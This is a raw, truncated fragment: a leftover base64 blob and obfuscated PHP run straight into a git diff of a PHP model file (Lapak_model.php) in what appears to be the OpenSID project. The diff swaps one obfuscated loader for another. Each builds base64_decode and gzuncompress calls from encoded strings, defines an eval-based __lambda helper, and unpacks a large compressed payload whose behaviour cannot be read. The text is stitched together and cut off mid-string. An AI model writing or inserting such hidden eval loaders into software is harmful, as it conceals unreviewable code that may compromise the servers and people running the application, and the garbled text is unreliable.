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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/Lapak_model.php b/donjo-app/models/Lapak_model.php index 8594aaa7e..57f5ad92d 100644 --- a/donjo-app/models/Lapak_model.php +++ b/donjo-app/models/Lapak_model.php @@ -232,7 +232,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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